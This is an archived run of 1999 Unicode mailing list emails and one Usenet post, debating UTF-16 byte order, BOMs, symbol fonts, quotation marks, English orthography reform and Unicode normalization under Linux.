How so? The Unicode character encoding itself is not stateful. The UTF-16 encoding form is not stateful. The UTF-16BE and UTF-16LE UTF's (serializations) are not stateful. UTF-16 as a UTF (serialization) is ambiguous as to the byte order of the serialization. That ambiguity is resolved in one of several ways: 1. A higher order protocol. At which point, the data processing is not stateful. 2. By detection of a BOM. When the BOM is detected and interpreted, the data processing of the textual content is not stateful. 3. By heuristics. And while the heuristic processing itself might be stateful, once the outcome of the heuristic provides an answer for the byte order, subsequent processing is not stateful. And this is in effect no different that any heuristic applied to detect character set, whether that character set itself is a stateful encoding or not. The term ""stateful"", as applied to character encodings, usually is referring to architectures like ISO 2022, where the state induced by an escape sequence must be retained to interpret all subsequent bytes, until encountering another escape sequences changes the state, and thus the interpretation of the next run of bytes. That is quite different from determination of the byte polarity ""state"" on a data type before processing it. If that were the case, then you could equally well claim that processing of any integral datatype larger than a byte is ""stateful"" in a cross-platform environment. But that is diluting the term ""stateful"" in the character encoding context down to the point where it has nothing in common with its intended applicability. --Ken 23-Jul-99 3:55:37-GMT,1968;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA14427 for ; Thu, 22 Jul 1999 23:55:36 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA38340 ; Thu, 22 Jul 1999 20:49:29 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA22953; Thu, 22 Jul 99 20:36:23 -0700 Message-Id: <9907230336.AA22953@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8856 (1999-07-23 03:36:13 GMT) From: ""Paul Dempsey (Exchange)"" To: Unicode List Cc: unicode@unicode.org Date: Thu, 22 Jul 1999 20:36:12 -0700 (PDT) Subject: RE: The future of UTF-8 > -----Original Message----- > From: Gianni Mariani [mailto:gianni@corp.webtv.net] > > The issue I have with BOM's is that if I have 2 ""plain text"" > files and I do this kind of operation: > > type appendfile >> oldfile > > It's not guarenteed to work unless the consuming application > processes multiple BOMS ... The reason this is not guaranteed to work is because the command processor that's doing ""type"" with redirection doesn't know about the file formats. It's the command processor that's defective, NOT the use of BOM/file signature. It is a trivial matter to write a process that correctly concatenates files with BOMs. I'm sure that someone on this list can promptly cough up a few lines of perl that does it. Your argument is not much different than expecting to be able to do a byte-wise concatenation of a Shift+JIS file with a codepage 1252 (Windows Western) file. These are both ""plain text"" files, but it fails miserably. I think that transparent byte-wise concatenation of files is a minor consideration when designing the file format. --- Paul 23-Jul-99 16:18:36-GMT,1998;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA08803 for ; Fri, 23 Jul 1999 12:18:34 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id IAA206820 ; Fri, 23 Jul 1999 08:59:56 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA28254; Fri, 23 Jul 99 08:47:36 -0700 Message-Id: <9907231547.AA28254@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 8874 (1999-07-23 15:47:23 GMT) From: To: Unicode List Date: Fri, 23 Jul 1999 08:47:20 -0700 (PDT) Subject: RE: The future of UTF-8 On Thu, 22 Jul 1999, Paul Dempsey (Exchange) wrote: > > -----Original Message----- > > From: Gianni Mariani [mailto:gianni@corp.webtv.net] > > > > The issue I have with BOM's is that if I have 2 ""plain text"" > > files and I do this kind of operation: > > > > type appendfile >> oldfile > > > > It's not guarenteed to work unless the consuming application > > processes multiple BOMS ... > > The reason this is not guaranteed to work is because the command processor > that's doing ""type"" with redirection doesn't know about the file formats. > It's the command processor that's defective, NOT the use of BOM/file > signature. And if oldfile happens to be a sequential access file, a tape for example, the command processor rewinds to the beginning of the file, reads the BOM if it exists, seeks back to the end of the file, then somehow arranges to signal to the application the format that it should write its standard output should be? Even if you can avoid changing the individual applications by sticking a byte-flipper downstream of the ""write"" system call, determining the file format via a BOM is not always going to be a reasonable thing to do. -john 24-Jul-99 19:41:46-GMT,5255;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA16914 for ; Sat, 24 Jul 1999 15:41:45 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA199992 ; Sat, 24 Jul 1999 12:34:55 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA06999; Sat, 24 Jul 99 12:26:08 -0700 Message-Id: <9907241926.AA06999@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Uml-Sequence: 8897 (1999-07-24 19:25:57 GMT) From: Markus Kuhn To: Unicode List Date: Sat, 24 Jul 1999 12:25:55 -0700 (PDT) Subject: Re: Support for symbol fonts Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id PAA16914 Erik van der Poel wrote on 1999-07-24 16:53 UTC: > > http://www.cl.cam.ac.uk/~mgk25/download/ucs-fonts* > > [...] The Times Roman font covers also the Adobe Symbol encoding. > > Just curious, but which ISO 10646 code points did you choose for the > Adobe Symbol characters that are not in 10646? For example: > > F8FC FC # RIGHT CURLY BRACKET TOP # bracerighttp (CUS) > F8FD FD # RIGHT CURLY BRACKET MID # bracerightmid (CUS) > F8FE FE # RIGHT CURLY BRACKET BOTTOM # bracerightbt (CUS) I did the conversion of the Adobe fonts to ISO 10646-1 based on the Adobe glyph names found in the fonts (because this catches also unencoded glyphs that are hidden in many of the X11 BDF files but unavailable under any ISO 8859-1 code), based on the following Adobe table, which maps Postscript glyph names to UCS: http://partners.adobe.com/supportservice/devrelations/typeforum/glyphlist.txt I dropped all characters from the font which are neither in the above list nor have already a uniXXXX name. This includes the above bracket fragment characters, for which there exists no Unicode equivalent. By the way, the bracket fragments were in Frank da Cruz's terminal symbol proposal, for which I completely forgot to scan and publish a number of exhibits that Frank has sent me as a basis for further discussion. Will be on the web next week. Sorry for the delay. I could probably put the Adobe Symbol bracket fragments into the private use section, as suggested by the Adobe mapping tables found on the Unicode ftp server. However, I do not like these particular characters anyway. I believe that variable size parentheses, braces and brackets should really be drawn using graphics primitives (spline and line terminates areas) from a simple algorithmic description in the style sheet language. Putting them together from font pieces is highly non-portable and also does not give you the same quality that an algorithmic specification could provide. If you really want to have these bracket parts for MathML, I do urge you to reconsider this entire approach of relying on the font here. The use of special math building blocks in TeX was *THE* primary reason of why TeX is hardly ever used with any other fonts than Knuth's Computer Modern, because all others lack the bracket parts is exactly the alignment in which TeX requires them. If TeX had used graphics primitives to draw variable sized parentheses and square roots, we could much more easily use any arbitrary commercial of the shelf font with TeX in mathematical texts. Please do not repeat the same mistake again and lock the math layout functionality to a single specific font. Please take the variable shapes from the style sheet and not from the font! > I believe Frank wanted to know about legacy fonts so that Mozilla could > try to support those in case the user has not installed the new 10646 > fonts yet. His question arose from a discussion of MathML support in > Mozilla. As I said, the Adobe Symbol font is *very* small and will lead to more frustration than satisfaction among MathML users. It is so small that it is not necessarily better than nothing. Potential MathML users are today TeX users. They will have the expectation that at least all TeX symbols are available, so a real ISO 10646-1 font is clearly the way to go here. > > The X server will be extended by a simple > > conversion function that can generate on-the-fly legacy encodings such > > as CP1252, KOI-8, CP1252, JIS X 208, etc. from the ISO 10646-1 encoded > > source fonts. > > I'm pretty sure you are aware of the Han unification issues, but I think > you would be more successful if you treat CJK with care. I.e. when > making a JIS X 0208 font available, make sure the glyphs are > ""Japanese-style"" and not Chinese. Oh yes, we have at least one Japanese member in the XFree86 team who is quite vocal about these issues. :) I have started to use the convention that ADD_STYLE_NAME is set to ""ja"" in the XLFD of Japanese UCS fonts, such that we could indeed restrict the set of fonts that we advertise as being available under a JIS encoding. Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: 24-Jul-99 20:12:18-GMT,1864;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA23315 for ; Sat, 24 Jul 1999 16:12:18 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id NAA42766 ; Sat, 24 Jul 1999 13:06:14 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA07292; Sat, 24 Jul 99 12:50:24 -0700 Message-Id: <9907241950.AA07292@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8898 (1999-07-24 19:50:14 GMT) From: Frank da Cruz To: Unicode List Cc: Unicode List Date: Sat, 24 Jul 1999 12:50:12 -0700 (PDT) Subject: Re: Support for symbol fonts Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK, wrote: > By the way, the bracket fragments were in Frank da Cruz's terminal > symbol proposal, for which I completely forgot to scan and publish a > number of exhibits that Frank has sent me as a basis for further > discussion. Will be on the web next week. Sorry for the delay. > Better late than never :-) I also promised to send a Unicode plain text proposal, but then real life intruded. It's not forgotten. Meanwhile, there might be some hope for the bracket pieces in the math plain-text work. Again, the rationale is to be able to construct mathematical expressions on character-cell devices where we don't have GUI fonts and rendering engines (primarily when emulating terminals and printers that do this in applications that are Unicode-based). In this case we don't have to worry too much about alignment since these devices are monospaced. Obviously bracket pieces are not the preferred method for rendering math in the GUI environment. - Frank 28-Jul-99 3:05:35-GMT,5113;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA05193 for ; Tue, 27 Jul 1999 23:05:34 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id TAA195056 ; Tue, 27 Jul 1999 19:59:13 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA18292; Tue, 27 Jul 99 19:43:57 -0700 Message-Id: <9907280243.AA18292@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8925 (1999-07-28 02:43:35 GMT) From: Jonathan Rosenne To: Unicode List Cc: Unicode List Date: Tue, 27 Jul 1999 19:43:33 -0700 (PDT) Subject: Re: Apostrophes, quotation marks, keyboards and typography Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id XAA05193 I don't think this violates the idea of ""plain text"". Plain text is an interchange concept, while we are talking about input methods. Once you wish to allow plain text to include more than the small number of characters that can be conveniently provided by the keyboard you have to provide more sophisticated input methods. Quotation marks are just one case, Unicode contains many more characters an author may wish to use that are not in his keyboard. Hexadecimal is not a solution for the general public. I suggest we take a look at how things used to be done before computers. In those ancient times, one would give a printer a manuscript (= hand written paper), which was marked up either by the author or by an editor, and the printer would set the text in print. This was the grandfather of mark-up languages, later standardized in SGML. In those manuscripts, the text could not indicate precisely various typographic distinctions, such as quotation marks, and in those cases markup was used. It is much more user friendly to have to write text, or to select the text and click on a ""quotation"" menu item, indicating intent, rather than <&lsqm>text<&rsqm> or something similar, or some fancy keyboard combination, in which the author has to specify the precise implications of his intent. How will mathematical symbols be entered in plain text? Jony At 02:23 19/07/99 -0700, Markus Kuhn wrote: >Jonathan Rosenne wrote on 1999-07-18 22:14 UTC: >> 1. this is one of the reasons for text in HTML. The processor can >> substitute the correct character. >> >> In general, any word processor should allow the user to style the text as a >> quotation, rather than require him to type typographical characters. > >I personally am not convinced that higher layer protocols should be used >to handle punctuation. This completely violates by concept of plain >text, and the existing practice of using higher layer protocols here >clearly just derives from the limitations of ASCII, an artifact of an >era that we are hopefully about to leave behind us. Higher layer >protocols such as SGML are fine for things like font selection and other >formatting and logical structuring, but quotation marks and other >punctuation are too much part of the raw text than that I would like to >see them handled via hacks such as . Higher layer protocols should in >my opinion not represent the actual textual content of the text, but >give only auxiliary structuring and representation hints. Therefore I >don't like to see markup for quotation marks, just as I don't like the >idea to have to markup conditional clauses, sentences, and perhaps even >paragraphs (not sure about the last one though). > >> 2. The situation for Hyphen-Minus is quite similar. > >Agreed, it is equally confusing and keyboard entry conventions should be >carefully standardized here as well. > >Mark Davis wrote on 1999-07-18 17:47 UTC: >> There seems to be some misunderstanding. ""The Unicode Standard�, Version >> 2.1"" gives the following text (see >> http://www.unicode.org/unicode/reports/tr8.html#3.6 Apostrophe Semantics >> Errata): >> >> U+02BC MODIFIER LETTER APOSTROPHE is preferred where the character >> is to represent a modifier letter (for example, in transliterations >> to indicate a glottal stop.) In the latter case, it is also referred >> to as a letter apostrophe. >> >> U+2019 RIGHT SINGLE QUOTATION MARK is preferred where the character is to >> represent a punctuation mark, as in ""We've been here before."" In the >> latter case, U+2019 is also referred to as a punctuation apostrophe. > >Excellent! I missed that 2.1 correction, and I am delighted to see that >this was already fixed nicely. So U+02BC is one thing less to worry >about and the Microsoft Word practice actually does conform to the >standard. Thanks for the reply. > >So the rest is really up to the keyboard standards community to fix. > >Markus > >-- >Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK >Email: mkuhn at acm.org, WWW: > 22-Aug-99 19:27:34-GMT,5598;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id PAA28045 for fdc; Sun, 22 Aug 1999 15:27:34 -0400 (EDT) Date: Sun, 22 Aug 1999 15:27:34 -0400 (EDT) From: Frank da Cruz Message-Id: <199908221927.PAA28045@watsun.cc.columbia.edu> To: fdc@watsun.cc.columbia.edu Path: newsmaster.cc.columbia.edu!panix!howland.erols.net!news.maxwell.syr.edu!nntp.ntr.net!remarQ60!rQdQ!supernews.com!remarQ.com!corp.supernews.com!not-for-mail From: ""John E. Malmberg"" Newsgroups: comp.os.vms Subject: Re: TEXT is the format for comp.os.vms (was: Help - crashing) Date: Sun, 22 Aug 1999 11:42:08 -0500 Organization: Posted via Supernews, http://www.supernews.com Lines: 95 Message-ID: References: <1c2901beec05$b19387e0$020a0a0a@wizard.xile.realm> <37BF93E6.BDA69B0@hct.ac.ae> <37BFB95C.77B1C1F7@hct.ac.ae> <1999Aug22.092016.1@eisner> X-Complaints-To: newsabuse@supernews.com X-Newsreader: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Xref: newsmaster.cc.columbia.edu comp.os.vms:217594 Text-Only is the format of most newsgroups. To make things perfectly clear, MIME and it's friends are not wanted in newsgroups for the following reasons. And it has nothing to do with OpenVMS. It is for them to be of the most use, and that includes accommodating those users with ""backward"" technology. Posters that violate this Netiquette will either be politely reminded of the conventions or will be ignored. This is not a moderated newsgroup/mailing list, so that is the only means of enforcing the convention. In the past, most posters have taken the hint from one polite reminder, and a few needed to learn how to adjust their mail/news sending program. And as typical in most societies, many people will ignore RUDE behavior, hoping that the person will realize their gaffe, or that someone else will explain things. 1. The contents of the newsgroups are automatically collected and archived for later searches. In many cases the archiver simply collects the data and jams it into one file based on a size limit or an age limit. There are multiple archives, some public ones, and some private ones that force you to view advertisements. Most of these were put in place before MIME messages were considered, or any type of attachment for that matter. Some of these archivers ignore ALL attachments, but most of the ones I have seen simply jam the attachment to the end of the message. Since it is good Netiquette to search these archives before posting a question, it becomes a royal pain to open a archive to get the information the search engine says is in it, and find the pages of hexdumps that typically follow some filename xxxxxx.VCF in it. The HTML formatted stuff is also hard to read. Since it is stuffed between the normal plain text stuff, even a MIME enabled reader will not translate it. And there is another format that puts ""=20"" at the ends of all the lines along with some other random stuff. 2. Many users of Usenet do not have access to a newsreader. Many times because this access is blocked at the corporate firewall. They also do not want to filter out their important messages from the volume of messages that a newsgroup can generate. So they set their mail delivery to DIGEST mode. In DIGEST mode, all MIME stuff gets delivered as described in point 1. 3. Many Corporate E-Mail systems still can not handle MIME. The system that I use at work just got the capability early this year. Prior to that, a MIME message was treated as follows. First I would receive a message with a title and a blank body. Then I would receive a message with no title that a MIME encoded message had been received. A bit latter, each attachment would show up in a separate message with no title. Other messages can be randomly interposed between them. 4. After the Melissa adventure, many corporate sites are putting in E-mail filters that will block bad messages. The first pass was to stop all messages with the indicated title. That of course is not sufficient for long term. There are reports in the trade press, that some companies are returning to sender any HTML formatted document as a precaution. The intended receiver may get a notice of the rejection just in case the E-Mail is important. 5. Given the state that E-Mail is in today, especially in a corporate environment, it would not look good to send MIME stuff to a person you want to be in a business relationship with, if you do not absolutely know that their mail software can handle it. There are still many users of IBM OFFICE-VISION getting their mail on 3270 terminals. This type of behavior can damage a business relationship. Especially if the customer is running OUTLOOK and a sales / marketing critter mails a HTML document that contains a virus. The bottom line is that it is RUDE of the sender to assume that the recipient can receive anything but plain text. The mime stuff is great, once you have established that the recipient can handle it. The VCF stuff to verify a sender's identity should be reserved for those receivers that request it. The ones that do not request it can not use it, and it is useless garbage to them. It is just wasting bandwidth and storage space on mail and news servers. -John By the way, MIME can include PostScript, REGIS, and SIXEL. My OpenVMS systems can handle these but I know that most M$soft can not, and most UN*X can not handle all three. 23-Aug-99 16:13:27-GMT,4147;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA00633 for ; Mon, 23 Aug 1999 12:13:26 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA250042 ; Mon, 23 Aug 1999 09:08:52 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA02285; Mon, 23 Aug 99 09:00:07 -0700 Message-Id: <9908231600.AA02285@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 9372 (1999-08-23 15:59:56 GMT) From: peter_constable@sil.org To: Unicode List Date: Mon, 23 Aug 1999 08:59:55 -0700 (PDT) Subject: Re: New phonemic writing system and IPA usage Content-Transfer-Encoding: 7bit >>>The reason English is interesting to learn is not any fundamental property >of English, more that there is a huge amount of _written_ information and >literate people, in English. Changing English orthography would break >that. > Changing English orthography would break >that. > > >(M.E.) regularizing it with minor corrections > according to Wijk's very sensible scheme would not. > > (Peter) But making as drastic a change as to adopt CC would! (JM) That's a matter of opinion! JoAnne, how can you say that this is a matter of opinion? As soon as a generation grows up learning to read and write English using only CC, the majority Kwill only have access to recent documents; documents in the old orthography won't spontaneously transform themselves. Humanity has a *very, very, very huge* investment in published and unpublished documents in English using the existing orthograhy, and there is a probability of 0.00 +/- 0% that we want to throw that away, or that we want to limit access to that information to a minority that chose to learn the old orthography in addition to the new CC-based standard. I don't think even you can disagree with that. And if we will want to continue to teach our children to read the old orthography, why would we ever consider putting ourselves through the trauma of replacing bad, old Roman script-based English orthography with CC? There is a recent case of a language community changing their orthography from one script to an unrelated script: Turkish was written in Arabic until the early part of this century, and since then in Roman. This was possible because: - the language community was pretty well limited to one nation, - the literacy rate was not that high, - the old script was not that well suited for representing the phonology of the language, - the new script was much better suited to represent the phonology of the language, - there was not a really large corpus of books existing that used the old script, and - there was an authoritarian government that was able to impose the reform on the entire language community. *None* of these are true of English. I have now contributed comments that relate to semiotic issues, to issues of the psychology and physiology of reading and writing, and to sociolinguistic issues of attitude and usage. I also threw in various comments on historical linguistic issues along the way. So, there shouldn't be any doubt of my opinion of introducing CC as a replacement for existing English orthography. While some of us may want to pursue the idea of writing English using CC as one of personal interest, we should not for a moment fool ourselves into thinking that CC could possibly become the conventional way of writing English, or even a conventional way of writing English. End of diatribe. Peter 27-Aug-99 19:17:45-GMT,2634;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA25478 for ; Fri, 27 Aug 1999 15:17:44 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA323172 ; Fri, 27 Aug 1999 12:06:04 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA06917; Fri, 27 Aug 99 11:49:34 -0700 Message-Id: <9908271849.AA06917@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 (generated by tm-edit 7.104) Content-Type: text/plain; charset=US-ASCII X-Uml-Sequence: 9465 (1999-08-27 18:49:22 GMT) From: Juliusz Chroboczek To: Unicode List Date: Fri, 27 Aug 1999 11:49:19 -0700 (PDT) Subject: Re: Normalization Form KC for Linux Rick McGowan : >> More formally, the preferred way of encoding text in Unicode under >> Linux should be Normalization Form KC as defined in Unicode >> Technical Report #15 RM> Gosh, I don't approve. And I've been using Unix systems for many RM> years. The most flexible kind of implementation would prefer RM> decomposed sequences. In any case, enlightened systems would RM> accept anything and massage as needed to fit the particular RM> application instead of forcing (or ""suggesting"") the user to run RM> everything through the meat grinder first... As I understand it, Markus was speaking about the interchange formats, including, but not limited to, file formats and IPC formats. It is expected that simple applications will only be able to accept precomposed forms, while enlightened ones (I like the term) will accept anything. Therefore, requesting that applications *write* precomposed forms in preference to combining characters maximises the chances of interchange between simple and complex applications. Complex applications are still expected to accept arbitrary combining characters; they just should avoid producing them whenever possible. (The question of unification of compatibility forms -- C vs. KC -- is a different issue altogether; not one I would dare to claim that I am even vaguely not totally incompetent to have an opinion on.) RM> In any case, I think Unix community tends in general to be very RM> very confused about the distinction between how data exists in RM> storage and what appears on one's screen/window/emulator. While to a certain extent true of the Unix-like community in general, this is not a fair assessment of Markus' work. J. 27-Aug-99 21:23:38-GMT,4459;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id RAA25860 for ; Fri, 27 Aug 1999 17:23:37 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id OAA253990 ; Fri, 27 Aug 1999 14:11:44 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA07561; Fri, 27 Aug 99 14:02:19 -0700 Message-Id: <9908272102.AA07561@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 9468 (1999-08-27 21:02:10 GMT) From: Rick McGowan To: Unicode List Date: Fri, 27 Aug 1999 14:02:09 -0700 (PDT) Subject: Re: Normalization Form KC for Linux Juliusz Chroboczek ...: > It is expected that simple applications will only be able to accept > precomposed forms I'd have to ask Why? > Complex applications are still expected to accept arbitrary combining > characters; they just should avoid producing them whenever possible. Why? That's about the opposite of what I'd argue. In my experience most of the drudgery and complexity of display processing for Unicode is in dealing with the multiple spellings; not with just decomposed or composed sequences. I guess maybe I should just shut up because my argument is really about something different than normalization itself, it's about architectures that require applications to care about particular details of data normalization. What really appears to be going on in the world of Unix is that generally in these systems the ""legacy"" or existing methods of string & character handling are being bolstered to deal with this new kind of data for which they are an inappropriate level of API. Instead of architecting them to remove the need for application programmers to worry about all this detail, the detail is being exported to the programmer in the same way that it was when the encodings were ""simpler"". I think it's the wrong way to go about the architecture. As I see it, systems that require ""all"" applications to mess around with the low-level details of what is or is not stored as a combining sequence in some string that's passing through some process is mis-architected from the start. Only the lowest level of data-streaming and I/O of file formats should be dealing with that. GUI & UI systems that sit on top of Unix foundations appear in general to be architected in ways that expose details, like composition/decomposition normalization of the data, excruciating details of codesets and data formats, that should be of no concern to ""applications"" written on theose platforms Unfortunately, the architects tend to get hung up on how to expose these details by extensive APIs, and argue a lot about details that should be of as little concern to ""application programs"" as assembly language is to Java programs. If one is going to re-write the set of typical Unix foundation-level tools, I think there are better ways to write them and different kinds of API that are more appropriate for better abstraction away from the minutiae of character encodings and normalization. That would free the application programmer from such details, instead of causing the application programmer to be acutely concerned with such details. So when I see something like this: > One day, combining characters will surely be supported under Linux, >... >> More formally, the preferred way of encoding text in Unicode under >> Linux should be Normalization Form KC as defined in Unicode >> Technical Report #15 It makes me cringe. This is saying that for everything written on this entire OS -- all the UI, the tools, protocols, applications, etc. that should be the ""preferred"" way of encoding simply because the display model is broken and the architects have been going in the wrong direction for years and wish to continue down that path because of the overwhelming weight of their legacy code. I think it's more appropriate to leave the specification of normalization requirements up to particular protocols or functional groups, not ""Unicode under Linux"" as a whole. In the long run, Linux would be much better off going the opposite direction for most string & display handling. In my opinion. Enough ranting for the day... Rick 30-Aug-99 19:42:09-GMT,5878;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA21417 for ; Mon, 30 Aug 1999 15:42:07 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA251190 ; Mon, 30 Aug 1999 12:29:43 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA26449; Mon, 30 Aug 99 12:17:24 -0700 Message-Id: <9908301917.AA26449@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 9519 (1999-08-30 19:17:14 GMT) From: Frank da Cruz To: Unicode List Cc: Unicode List Date: Mon, 30 Aug 1999 12:17:12 -0700 (PDT) Subject: Re: Normalization Form KC for Linux > Maybe I really should shut up... I guess I'm bitterly disappointed in how > the Unix and Posix community has not grasped the Unicode textual concepts > and progressed or led the way in all of this. The community seems so > insular and fossilized, when there are so many good things about Unix that > have been poorly imitated by other popular platforms. These days the > industry is moving right along doing all kinds of interesting display and > many scripts & languages, while the academic Unix (and Posix) folks are > complaining that it's too hard or can't be done at all.[1] > I think this is reflective of the overall situation with computing today. You can only change what you can control. In a monolithic environment like Windows or the Macintosh, a single company has control and can do what it likes, but perhaps more to point, these are closed boxes in which the application has more or less direct access to the keyboard, screen, fonts, and font info -- all the pieces of the puzzle. Contrast this with Unix. First of all (obviously) there is not just one Unix, but many of them (the UNIX C-Kermit makefile alone currently contains about 500 targets). Nobody controls all this. Each vendor goes their own way at their own pace. The many well-known utilities (command-line or ""video"") have long since ""forked"". The existing code base is staggering, and most of it is nondisclosed (Linux, *BSD, etc, are the exception (to ""nondisclosed"", if not to ""forked"")). Makers of third-party applications for Unix (and VMS, etc), if they want to move forward, can't (in most cases) depend on the underlying platforms for assistance. Even when they can, such assistance is inconsistent, forcing them to develop their own portable tools and libraries, which tend to meet their immediate needs but fall short of Nirvana. Perhaps more to the point, however, is the fact that Unix (and VMS and other ""traditional"" platforms) are open to many kinds of access: the workstation console, usually some sort of GUI (also on the console), X (on the console or from a remote X server), and then plain old character-mode remote access via modem, Telnet, Rlogin, X.25 PAD, and the like. The latter mode, which is branded ""legacy"" as if it had no value or place in the modern world, is (I like to maintain, and I think with good reason) seeing wider use now than ever before and although many wish it would go away, others would like to stay active in this area and serve the people who depend on it, not only for old time's sake, but also because it is a legitimate, viable, and open form of access that everybody should be able to fall back upon as the the more advanced and ""interesting"" forms change out from under them with bewildering speed. When access is this open -- which is a *good* thing -- no particular entity has control over the user interface. It is a matter of coordinating the behavior of intrinsically unrelated processes. So questions come up here that never bother us when we are writing (say) a word processor. Which end handles bidirectionality of Hebrew? Which end is responsible for the detailed appearance of the screen? And now the questions of pre- and de- composition. Makers of third party applications only control one piece. The underlying platform is likely not to have any Unicode support at all (VMS, most UNIXes, IBM mainframes, etc), so the extent to which we support Unicode in our applications depends on the hosts that we access with them. In the case of terminal emulation (xterm, Kermit, etc), if the host is not executing any form of BIDI algorithm, or ensuring some canonical form for composed characters, etc (since it is totally ignorant of such matters), it does not necessarily follow that the terminal must compensate, since for applications where the screen is treated as a matrix of boxes in which the location of different items must be known and fixed (and this can include dumb scrolling applications that display text in columns), the host and terminal must cooperate. ISO 10646 includes the concepts of levels of compliance, including Implementation Level 1 in which combining characters are not allowed. Unicode Normalization Form C tends to amount to the same thing. If these ""subsets"" were not to be used, they shouldn't have been defined. But in fact, I believe they are useful in open-access environments where control is distributed among ""loosely cooperating"" processes. Perhaps there is indeed a tradeoff between open access and the ability to support complex scripts -- if not in theory, then almost certainly in practice. Of course, we do have one example of Unix taken to the next level: Plan 9. But even there -- where all text, even internally, is UTF-8 -- we still see no provision for BIDI or combining sequences: Implementation Level 1 in action. Everyone agrees it would be better to have no restrictions, but so far I don't think anybody has considered the plain-text terminal-host access model sufficiently to find a way around them. - Frank 10-Sep-99 16:30:02-GMT,3828;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA11277 for ; Fri, 10 Sep 1999 12:29:59 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA31860 ; Fri, 10 Sep 1999 09:19:15 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA15929; Fri, 10 Sep 99 08:48:25 -0700 Message-Id: <9909101548.AA15929@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 9618 (1999-09-10 15:48:15 GMT) From: peter_constable@sil.org To: Unicode List Date: Fri, 10 Sep 1999 08:48:14 -0700 (PDT) Subject: Re: IPA a vowels Content-Transfer-Encoding: 7bit >The other side of this issue is coding 